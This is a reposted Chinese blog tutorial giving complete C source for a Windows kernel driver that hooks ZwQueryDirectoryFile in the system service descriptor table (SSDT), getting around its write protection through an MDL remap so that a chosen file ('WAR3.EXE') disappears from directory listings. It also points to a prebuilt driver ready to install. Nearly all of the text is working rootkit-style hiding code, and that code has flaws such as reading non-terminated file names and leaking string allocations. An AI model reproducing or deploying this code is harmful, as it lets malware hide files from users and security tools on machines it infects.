编写驱动拦截NT的API实现隐藏文件目录(代码)

转载地址：http://www.cnblogs.com/qiuyi21/articles/1151923.html

 

pudn上的这个源代码可以使用：http://www.pudn.com/downloads79/sourcecode/windows/vxd/detail305108.html

驱动已经使用WDK编译好了，直接安装就可以，安装好后，用VS2010，或者VS2008编译Test项目，就可以隐藏文件了，不需要改动，代码也很规范，可以好好学习。

 

网上流传的一篇文章《编写驱动拦截NT的API实现隐藏文件目录》，当时我在网上搜索内核级Hook资料时搜索到的，因为自己对驱动程序还是初初接触，所有想按照这篇文章自己弄个简单的驱动出来，测试测试~~~但由于网上流传的这篇文章都丢失了原作者和原出处，有些代码似乎是错的，但自己又不熟悉，难免弄错。参考了其它使用驱动程序Hook的例子（都是Windows 2000 DDK的），最终编译了一个驱动出来，马上安装进自己的系统里（Windows XP Professional SP2），执行[net start "驱动名"]，噢，系统立即蓝屏挂掉了！！经过一段时间的驱动程序编写研究，终于写成功拦截NT的API实现隐藏文件目录了，也知道了一点就是Windows
XP之后的操作系统的SSDT都已经写保护，Hook SSDT时不可以直接改写SSDT。我的代码如下，由于水平有限，难免会有错误，请多多指教。

 

C 语言代码，用WDK编译

 

#include <ntddk.h>

#define FILE_DEVICE_NTHIDEFILES    0x8000
#define NTHIDEFILES_IOCTL_BASE    0x800

#define CTL_CODE_NTHIDEFILES(i) CTL_CODE(FILE_DEVICE_NTHIDEFILES, NTHIDEFILES_IOCTL_BASE+i, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_NTHIDEFILES_HELLO    CTL_CODE_NTHIDEFILES(0)

#define NTHIDEFILES_DEVICE_NAME     L"\\Device\\NtHideFiles"
#define NTHIDEFILES_DOS_DEVICE_NAME L"\\DosDevices\\NtHideFiles"

#define dprintf if (DBG) DbgPrint
#define nprintf DbgPrint

typedef struct _DEVICE_EXTENSION
{
ULONG StateVariable;
} DEVICE_EXTENSION, *PDEVICE_EXTENSION;

typedef struct _FILE_BOTH_DIR_INFORMATION
{
ULONG NextEntryOffset;
ULONG FileIndex;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
ULONG EaSize;
CCHAR ShortNameLength;
WCHAR ShortName[12];
WCHAR FileName[1];
} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;

#pragma pack(1)
typedef struct _SERVICE_DESCRIPTOR_ENTRY
{
unsigned int * ServiceTableBase;
unsigned int * ServiceCounterTableBase;
unsigned int NumberOfServices;
unsigned char * ParamTableBase;
} SERVICE_DESCRIPTOR_ENTRY, *PSERVICE_DESCRIPTOR_ENTRY;
#pragma pack()

// ZwQueryDirectoryFile 的原型
typedef NTSTATUS (NTAPI *PFN_ZwQueryDirectoryFile)(
IN HANDLE hFile,
IN HANDLE hEvent OPTIONAL,
IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
IN PVOID IoApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
OUT PVOID FileInformationBuffer,
IN ULONG FileInformationBufferLength,
IN FILE_INFORMATION_CLASS FileInfoClass,
IN BOOLEAN bReturnOnlyOneEntry,
IN PUNICODE_STRING PathMask OPTIONAL,
IN BOOLEAN bRestartQuery);

NTSYSAPI
NTSTATUS
NTAPI
ZwQueryDirectoryFile(
IN HANDLE hFile,
IN HANDLE hEvent OPTIONAL,
IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
IN PVOID IoApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
OUT PVOID FileInformationBuffer,
IN ULONG FileInformationBufferLength,
IN FILE_INFORMATION_CLASS FileInfoClass,
IN BOOLEAN bReturnOnlyOneEntry,
IN PUNICODE_STRING PathMask OPTIONAL,
IN BOOLEAN bRestartQuery);

NTSTATUS HookZwQueryDirectoryFile(
IN HANDLE hFile,
IN HANDLE hEvent OPTIONAL,
IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
IN PVOID IoApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
OUT PVOID FileInformationBuffer,
IN ULONG FileInformationBufferLength,
IN FILE_INFORMATION_CLASS FileInfoClass,
IN BOOLEAN bReturnOnlyOneEntry,
IN PUNICODE_STRING PathMask OPTIONAL,
IN BOOLEAN bRestartQuery);

__declspec(dllimport) SERVICE_DESCRIPTOR_ENTRY KeServiceDescriptorTable;

// 保存原 ZwQueryDirectoryFile 函数指针
PFN_ZwQueryDirectoryFile OriginalZwQueryDirectoryFile = NULL;

PMDL g_pmdlSystemCall = NULL;
PVOID *MappedSystemCallTable = NULL;
BOOLEAN g_bHooked = FALSE;

#define SYSCALL_INDEX(_Function)              *(PULONG)((PUCHAR)_Function + 1)
#define SYSTEMSERVICE(_Function)              KeServiceDescriptorTable.ServiceTableBase[SYSCALL_INDEX(_Function)]
#define HOOK_SYSCALL(_Function, _Hook, _Orig) _Orig = (PVOID)InterlockedExchange((PLONG)&MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG)_Hook)
#define UNHOOK_SYSCALL(_Function, _Orig)      InterlockedExchange((PLONG)&MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG)_Orig)

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath);
NTSTATUS DispatchCreate(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp);
NTSTATUS DispatchClose(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp);
NTSTATUS DispatchDeviceControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp);
VOID DriverUnload(IN PDRIVER_OBJECT DriverObject);
PCWSTR GetProcessFullName();

#ifdef ALLOC_PRAGMA
#pragma alloc_text(INIT, DriverEntry)
#pragma alloc_text(PAGE, DispatchCreate)
#pragma alloc_text(PAGE, DispatchClose)
#pragma alloc_text(PAGE, DispatchDeviceControl)
#pragma alloc_text(PAGE, DriverUnload)
#endif // ALLOC_PRAGMA

#define BASE_PROCESS_PEB_OFFSET                   0x1B0
#define BASE_PEB_PROCESS_PARAMETER_OFFSET         0x010
#define BASE_PROCESS_PARAMETER_FULL_IMAGE_NAME    0x03C
#define W2003_BASE_PROCESS_PEB_OFFSET             0x190
#define W2003_BASE_PROCESS_PEB_OFFSET_SP1         0x1A0
#define W2003_BASE_PROCESS_PEB_OFFSET_SP2         W2003_BASE_PROCESS_PEB_OFFSET_SP1
#define VISTA_BASE_PROCESS_PEB_OFFSET             0x188

PCWSTR GetProcessFullName()
{
NTSTATUS status    = -1;
ULONG    dwAddress = 0;
PCWSTR   lpszTemp  = NULL;
RTL_OSVERSIONINFOEXW osVerInfo;

dwAddress = (ULONG)PsGetCurrentProcess();
if (dwAddress == 0 || dwAddress == (ULONG)-1)
return NULL;

RtlZeroMemory(&osVerInfo, sizeof(RTL_OSVERSIONINFOEXW));
osVerInfo.dwOSVersionInfoSize = sizeof(RTL_OSVERSIONINFOEXW);

status = RtlGetVersion((PRTL_OSVERSIONINFOW)&osVerInfo);
if (!NT_SUCCESS(status))
return NULL;

// 目前只支持 Windows 2000/XP/2003/Vista
if (osVerInfo.dwMajorVersion < 5 || osVerInfo.dwMinorVersion > 2)
return NULL;

// 取得PEB，不同平台的位置是不同的
if (osVerInfo.dwMajorVersion == 5)
{
if (osVerInfo.dwMinorVersion < 2)    // 2000   0X0500       XP 0X0501
{
dwAddress += BASE_PROCESS_PEB_OFFSET;
}
else if (osVerInfo.dwMinorVersion == 2)    // 2003   0X0502
{
if (osVerInfo.wServicePackMajor == 0)    // No Service Pack
dwAddress += W2003_BASE_PROCESS_PEB_OFFSET;
else if (osVerInfo.wServicePackMajor < 3)    // Service Pack 1 & 2
dwAddress += W2003_BASE_PROCESS_PEB_OFFSET_SP1;
}
}
else    // Vista   0X0600
{
dwAddress += VISTA_BASE_PROCESS_PEB_OFFSET;
}

if ((dwAddress = *(PULONG)dwAddress) == 0)
return NULL;

// 通过PEB取得RTL_USER_PROCESS_PARAMETERS
dwAddress += BASE_PEB_PROCESS_PARAMETER_OFFSET;
if ((dwAddress = *(PULONG)dwAddress) == 0)
return NULL;

// 在RTL_USER_PROCESS_PARAMETERS->ImagePathName保存了路径，偏移为0x038
dwAddress += BASE_PROCESS_PARAMETER_FULL_IMAGE_NAME;
if ((dwAddress = *(PULONG)dwAddress) == 0)
return NULL;

// [10/14/2006]
lpszTemp = (PCWSTR)dwAddress;
if (wcslen(lpszTemp) > 4)
{
if (lpszTemp[0] == L'\\' &&
(lpszTemp[1] == L'?' || lpszTemp[1] == L'\\') &&
lpszTemp[2] == L'?' &&
lpszTemp[3] == L'\\')
{
dwAddress += 4 * sizeof(WCHAR);
}
}

return (PCWSTR)dwAddress;
}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
{
NTSTATUS       status = STATUS_SUCCESS;
UNICODE_STRING ntDeviceName;
UNICODE_STRING dosDeviceName;
PDEVICE_OBJECT deviceObject = NULL;
BOOLEAN        fSymbolicLink = FALSE;

dprintf("[NtHideFiles] DriverEntry: %wZ\n", RegistryPath);

RtlInitUnicodeString(&ntDeviceName, NTHIDEFILES_DEVICE_NAME);

status = IoCreateDevice(
DriverObject,
sizeof(DEVICE_EXTENSION),    // DeviceExtensionSize
&ntDeviceName,                // DeviceName
FILE_DEVICE_NTHIDEFILES,    // DeviceType
0,                            // DeviceCharacteristics
TRUE,                        // Exclusive
&deviceObject                // [OUT]
);

if (!NT_SUCCESS(status))
goto __failed;

RtlInitUnicodeString(&dosDeviceName, NTHIDEFILES_DOS_DEVICE_NAME);

status = IoCreateSymbolicLink(&dosDeviceName, &ntDeviceName);

if (!NT_SUCCESS(status))
goto __failed;

fSymbolicLink = TRUE;

DriverObject->MajorFunction[IRP_MJ_CREATE]         = DispatchCreate;
DriverObject->MajorFunction[IRP_MJ_CLOSE]          = DispatchClose;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DispatchDeviceControl;
DriverObject->DriverUnload                         = DriverUnload;

// Map the memory into our domain to change the permissions on the MDL
g_pmdlSystemCall = IoAllocateMdl(KeServiceDescriptorTable.ServiceTableBase,
KeServiceDescriptorTable.NumberOfServices * 4,
FALSE, FALSE, NULL);

if (g_pmdlSystemCall == NULL)
{
status = STATUS_UNSUCCESSFUL;
goto __failed;
}

MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
// Change the flags of the MDL
g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);

// HOOK ZwQueryDirectoryFile 并保存原 ZwQueryDirectoryFile 函数地址
HOOK_SYSCALL(ZwQueryDirectoryFile, HookZwQueryDirectoryFile, OriginalZwQueryDirectoryFile);
g_bHooked = TRUE;

if (NT_SUCCESS(status))
return status;

__failed:

if (fSymbolicLink)
IoDeleteSymbolicLink(&dosDeviceName);

if (deviceObject)
IoDeleteDevice(deviceObject);

return status;
}

NTSTATUS DispatchCreate(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
NTSTATUS status = STATUS_SUCCESS;

Irp->IoStatus.Information = 0;

Irp->IoStatus.Status = status;
IoCompleteRequest(Irp, IO_NO_INCREMENT);

return status;
}

NTSTATUS DispatchClose(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
NTSTATUS status = STATUS_SUCCESS;

Irp->IoStatus.Information = 0;

Irp->IoStatus.Status = status;
IoCompleteRequest(Irp, IO_NO_INCREMENT);

return status;
}

NTSTATUS DispatchDeviceControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
NTSTATUS           status = STATUS_SUCCESS;
PIO_STACK_LOCATION irpStack;
PVOID              ioBuf;
ULONG              inBufLength, outBufLength;
ULONG              ioControlCode;

irpStack = IoGetCurrentIrpStackLocation(Irp);

Irp->IoStatus.Information = 0;

//
// Get the pointer to the input/output buffer and it's length
//

ioBuf = Irp->AssociatedIrp.SystemBuffer;
inBufLength = irpStack->Parameters.DeviceIoControl.InputBufferLength;
outBufLength = irpStack->Parameters.DeviceIoControl.OutputBufferLength;
ioControlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;

switch (ioControlCode)
{
case IOCTL_NTHIDEFILES_HELLO:
break;
default:
status = STATUS_INVALID_PARAMETER;
break;
}

//
// DON'T get cute and try to use the status field of
// the irp in the return status.  That IRP IS GONE as
// soon as you call IoCompleteRequest.
//

Irp->IoStatus.Status = status;
IoCompleteRequest(Irp, IO_NO_INCREMENT);

//
// We never have pending operation so always return the status code.
//

return status;
}

VOID DriverUnload(IN PDRIVER_OBJECT DriverObject)
{
UNICODE_STRING dosDeviceName;

// UnHook ZwQueryDirectoryFile
if (g_bHooked && OriginalZwQueryDirectoryFile != NULL)
UNHOOK_SYSCALL(ZwQueryDirectoryFile, OriginalZwQueryDirectoryFile);

if (g_pmdlSystemCall != NULL)
{
MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
IoFreeMdl(g_pmdlSystemCall);
}

//
// Delete the symbolic link
//

RtlInitUnicodeString(&dosDeviceName, NTHIDEFILES_DOS_DEVICE_NAME);

IoDeleteSymbolicLink(&dosDeviceName);

//
// Delete the device object
//

IoDeleteDevice(DriverObject->DeviceObject);

dprintf("[NtHideFiles] unloaded\n");
}

NTSTATUS HookZwQueryDirectoryFile(
IN HANDLE hFile,
IN HANDLE hEvent OPTIONAL,
IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
IN PVOID IoApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
OUT PVOID FileInformationBuffer,
IN ULONG FileInformationBufferLength,
IN FILE_INFORMATION_CLASS FileInfoClass,
IN BOOLEAN bReturnOnlyOneEntry,
IN PUNICODE_STRING PathMask OPTIONAL,
IN BOOLEAN bRestartQuery)
{
NTSTATUS rc = STATUS_SUCCESS;
ANSI_STRING ansiFileName, ansiDirName, HideDirFile;
UNICODE_STRING uniFileName;
PCWSTR pProcPath = NULL;

// 初始化要过虑的文件名，大写形式
RtlInitAnsiString(&HideDirFile, "WAR3.EXE");

pProcPath = GetProcessFullName();
DbgPrint("[NtHideFiles] GetProcessFullName: %ws\n", pProcPath == NULL ? L"<null>" : pProcPath);

// 执行真正的 ZwQueryDirectoryFile 函数
rc = OriginalZwQueryDirectoryFile(
hFile,
hEvent,
IoApcRoutine,
IoApcContext,
pIoStatusBlock,
FileInformationBuffer,
FileInformationBufferLength,
FileInfoClass,
bReturnOnlyOneEntry,
PathMask,
bRestartQuery);

// 如果执行成功，而且 FILE_INFORMATION_CLASS 的值为 FileBothDirectoryInformation，我们就进行处理，过滤
if (NT_SUCCESS(rc) && FileInfoClass == FileBothDirectoryInformation)
{
// 把执行结果赋给 pFileInfo
PFILE_BOTH_DIR_INFORMATION pFileInfo = (PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer;
PFILE_BOTH_DIR_INFORMATION pLastFileInfo = NULL;
BOOLEAN bLastOne = FALSE;

// 循环检查
do
{
bLastOne = !pFileInfo->NextEntryOffset;
RtlInitUnicodeString(&uniFileName, pFileInfo->FileName);
RtlUnicodeStringToAnsiString(&ansiFileName, &uniFileName, TRUE);
RtlUnicodeStringToAnsiString(&ansiDirName, &uniFileName, TRUE);
RtlUpperString(&ansiFileName, &ansiDirName);

// 打印结果，用 debugview 可以查看打印结果
//dprintf("ansiFileName :%s\n", ansiFileName.Buffer);
//dprintf("HideDirFile :%s\n", HideDirFile.Buffer);

// 开始进行比较，如果找到了就隐藏这个文件或者目录
if (RtlCompareMemory(ansiFileName.Buffer, HideDirFile.Buffer, HideDirFile.Length) == HideDirFile.Length)
{
dprintf("This is HideDirFile!\n");

if (bLastOne)
{
if (pFileInfo == (PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)
rc = STATUS_NO_MORE_FILES;    // 隐藏文件或者目录；
else
pLastFileInfo->NextEntryOffset = 0;

break;
}
else    // 指针往后移动
{
int iPos = (ULONG)pFileInfo - (ULONG)FileInformationBuffer;
int iLeft = (ULONG)FileInformationBufferLength - iPos - pFileInfo->NextEntryOffset;
RtlCopyMemory((PVOID)pFileInfo, (PVOID)((PCHAR)pFileInfo + pFileInfo->NextEntryOffset), (ULONG)iLeft);
continue;
}
}

pLastFileInfo = pFileInfo;
pFileInfo = (PFILE_BOTH_DIR_INFORMATION)((PCHAR)pFileInfo + pFileInfo->NextEntryOffset);
} while (!bLastOne);

RtlFreeAnsiString(&ansiDirName);
RtlFreeAnsiString(&ansiFileName);
}

return rc;
}